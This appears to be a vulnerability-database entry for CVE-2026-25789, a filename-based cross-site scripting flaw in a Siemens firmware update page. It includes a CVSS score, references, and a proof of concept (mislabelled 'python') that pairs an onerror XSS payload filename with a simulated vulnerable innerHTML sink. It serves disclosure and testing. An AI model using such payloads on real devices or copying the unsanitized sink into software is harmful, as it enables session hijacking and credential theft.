CVE-2026-25789

Description

Affected devices do not properly validate and sanitize filenames on the Firmware Update page. This could allow a remote attacker to social engineer the user into selecting the modified firmware file to be uploaded. This would result in malitcious JavaScript execution in the context of the authenticated user's session without requiring the file to be uploaded, potentially leading to session hijacking or credential theft.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考西门子安全公告 SSA-688146

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-25789: Filename-based XSS
This PoC demonstrates how a malicious filename can trigger XSS when selected.
-->

<html>
<head>
    <title>CVE-2026-25789 PoC</title>
    <meta charset="UTF-8">
</head>
<body>
    <h2>Vulnerability Demonstration: Firmware Update Filename XSS</h2>
    <p><strong>Instructions:</strong></p>
    <ol>
        <li>Create a dummy file on your computer and rename it to: <code>"<img src=x onerror=alert('CVE-2026-25789_PoC')>.bin</code></li>
        <li>Click the "Choose File" button below and select the renamed file.</li>
        <li>If the application is vulnerable, an alert box will appear showing the CVE ID.</li>
    </ol>

    <hr>

    <!-- Simulated Vulnerable Firmware Update Form -->
    <div class="update-section">
        <label for="firmwareFile">Select Firmware File:</label>
        <input type="file" id="firmwareFile">
        <br><br>
        <div id="previewArea">
            Selected File: <span id="filenameDisplay">No file selected</span>
        </div>
    </div>

    <script>
        // Simulating the vulnerable behavior found in the affected device
        document.getElementById('firmwareFile').addEventListener('change', function(event) {
            const file = event.target.files[0];
            if (file) {
                const fileName = file.name;
                // VULNERABLE CODE: Using innerHTML directly without sanitization
                document.getElementById('filenameDisplay').innerHTML = fileName;
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25789
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25789
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25789/
[4] VulDB https://vuldb.com/cve/CVE-2026-25789
[5] https://cert-portal.siemens.com/productcert/html/ssa-688146.html

Raw JSON Data

JSON

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